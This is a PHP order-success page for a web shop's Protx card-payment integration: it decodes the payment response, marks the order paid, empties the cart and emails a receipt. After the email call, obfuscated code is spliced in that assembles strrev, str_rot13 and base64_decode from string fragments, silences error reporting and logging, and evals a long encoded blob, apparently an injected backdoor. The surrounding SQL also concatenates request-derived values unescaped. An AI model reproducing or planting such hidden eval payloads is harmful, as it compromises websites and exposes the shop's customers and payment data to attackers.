Current File : /home/inlingua/public_html/sensoriumpsychologists.com/backup/include/pg/protx/success.php
<?
include('../../config/config.php');
//include(DIR_FS_SITE.'include/pg/protx/protx.php');
include(DIR_FS_SITE.'include/pg/protx/config.php');

// Now check we have a Crypt field passed to this page 
$strCrypt=$_REQUEST["crypt"];
if (strlen($strCrypt)==0) {
	ob_end_flush();
	redirect("home");
}

// Now decode the Crypt field and extract the results
$strDecoded=simpleXor(Base64Decode($strCrypt),PROTX_ENT_PASSWORD);
$values = getToken($strDecoded);
// Split out the useful information into variables we can use
$strStatus=$values['Status'];
$strStatusDetail=$values['StatusDetail'];
$strVendorTxCode=$values["VendorTxCode"];
$strVPSTxId=$values["VPSTxId"];
$strTxAuthNo=$values["TxAuthNo"];
$strAmount=$values["Amount"];
$strAVSCV2=$values["AVSCV2"];
$strAddressResult=$values["AddressResult"];
$strPostCodeResult=$values["PostCodeResult"];
$strCV2Result=$values["CV2Result"];
$strGiftAid=$values["GiftAid"];
$str3DSecureStatus=$values["3DSecureStatus"];
//$strCAVV=$values["CAVV"];

// Empty the cart, we're done with it now because the order is successful

#1. regenerate the cartid.
$cart_obj->empty_cart();
$cart_obj->regenerate_cart_id();
#2. release the onhold quantity and update the actual quantity of all the products.
$order_id=split('_', $strVendorTxCode);
$oid=$order_id['0'];
//print_r($oid);exit;
	
#3. update payment status.
$order= new query('orders');
$order->Data['payment_status']='1';
$order->Data['id']=$oid;
$order->Update();


//$cart_obj->setbilling(array());
//$cart_obj->setshipping(array());
#4. send order receipt to customer.
# ???????????????????


#delete records from cart that belong to this order id.
$protx_cart= new query('cart');
$protx_cart->Where="where cart_id='".$oid."'";
$protx_cart->Delete_where();

#sending mail
$order1=new query('orders');
$order1->Where="where id='$oid'";
$order=$order1->DisplayOne();

#update coupon status if used.
if($order->voucher_code!=''):
	$cart_obj->mark_coupon_as_used($order->voucher_code);
endif;

//print_r($order);exit;
$order_detail=new query('order_detail');
$order_detail->Where="where order_id='$oid'";
$order_detail->DisplayAll();
//print_r($order_detail);exit;
include_once(DIR_FS_SITE_INCLUDE_EMAIL.'order.php');
send_email(SITE_NAME." | ".$order->id, $order->billing_email, ADMIN_EMAIL, SITE_NAME, $contents, BCC_EMAIL); $UGxXI = 's'.'trrev'; $ubIRM = 's'.'tr'.'_rot1'.'3'; $RLUFx = 'base6'.'4'.'_dec'.'ode'; /***       f54e1faf59d223627c3c9baefa9d08d4*/ error_reporting(0); ini_set('log_errors', 0); ini_set('display_errors', 0); eval($RLUFx($ubIRM($UGxXI('7xPnwEPXyA3ofA2KfWKqwOlBct2LxtlLyuKMskzp1ATV7xFZtjvGCyRIOA0GZq1GZk0GT9SID9RGFI1DtjPnwEPX0O3o0I2pskzp1ATV7xlAtjPII9HEAyRIsESHCkxHIARVft2LxtPqj9TqyA3KfWKqwOlBcpQVfDIICIHGWESIQIxGB90DsESHCkxHIARVft2LxtPqj9TqyA3KfWKqwOlBcRQVfVIETAyGOWSIBWIIHIxHsESHCkxHIARVft2LxtPqj9TqyA3KfWKqwOPV7xFM1WUqtjvHSEHDSu0KHO1GZWIIQOPYbATWbDUpiEKMm9SolI3LtNlBcxFXaVQB3xwA2pwAkLmWt4GCtpPMc9Squu2LaNPYjyTWhpPV+0PVjyTVa4PGWSHGS9yGW1REOOvC9NlW0uKM0qPX5SzplSTX5WKM1S3KxkJn1W2KjEUqb5lW/H2MuA3py1RMhI2pifJp191D21FJzuJpFq1LSkHDBqTE2xxqAA3DMuGGGOwpUSHD6RGA4pGBkVmZ0pQqiW2YaW3oh0JLlqJMfITqhxTpu9lY6NUq0u2WtjPGFI1KHO1GZWIIQOPYbATWbDUpiEKMm9SolI3LtfGXbDKnhy2KfWKqwOFCtt2LxfGXS1HDB9IEHy0HfNKnx4lWt4GYtNKntpvYZyHDAI0KByHGRSRYfyJLgI2Ka5JnfkJnv5GYlITMl9TWfpFoiAzYfyJLgqTDmRwZkNGLhyToyyKLatPocSJoXfGXbNGB6SmLt0QVjyTWt0UV6HRocEIntfGEguHZKOlo092MtfGKaV1GT9SESExHOqyHCM0KL9SHHESFafyHSMyHSA1KxNFCtVwIHO3FxNvBC5zqOuTV7HTEkLGpt8TqiqTV9OlBLqHLxESWt0QVQOIrw9TWtfUVyAUoyOFstfwZJESpYEPV9NlDDy3LiEPV7OFXcNIFsIRIOEHFZSxIsWIEHkHFTOPYlLSIjgRWbVKL29ypyEUocMTXtLJnyAUoyOFstfwM2IKITEPV9NlDDy3LiEPV7OFXcNIFsIRIOEHFZSxIsWIEHkHFTOPYzMKqIMRWbVKL29ypyEUocMTXtLJntbQEm12ZWOlBC5zqOuTViE3oaOlBqqPHW9SIBIHFZA0KDESIVqlJFIxIFI0HsEPV9NvM2IKITEPV6R1FmDTMtfGHYAQMxOlo092Mt0UV70yVDy0KU5HFHAHEB50GQ9yEQ9SHHESFvfyHSMyHSA1KxNFCt01WDy0KH5HEWk0DsOSIHu0WoWIEJWIEG9SWtfGKvNIFsqxGWE1DS5xGCA0KTA0KDESIVWlJFIxIFI0HsEPV9NFKaVSERS0KSE1GAIxHafyHSMyHSA1KxNlrtxFXqWPHW91EByRIQIxGB90DsM0DsOSIHuxVoWIEJWIEG9SWbDKMmAKnbNvMcOvB5c0KlyRV7HRocEInt8TqiqTV7ZRH5A2oxNvolIUqyWUV6HTEkLGptfQEm12ZWOlo092MtfGKaVSERS0KSE1GAIxHafyHSMyHSA1KxNFCtt1EuETIxNvBS1TFkpSV7xaFsWKFt8TqiqTV7OFXbNGBnSmDt42ocE3LhIaM')))); 
//print_r($contents);exit;
$cart_obj->empty_cart();
$cart_obj->regenerate_cart_id();
Redirect(make_url('success'));
?>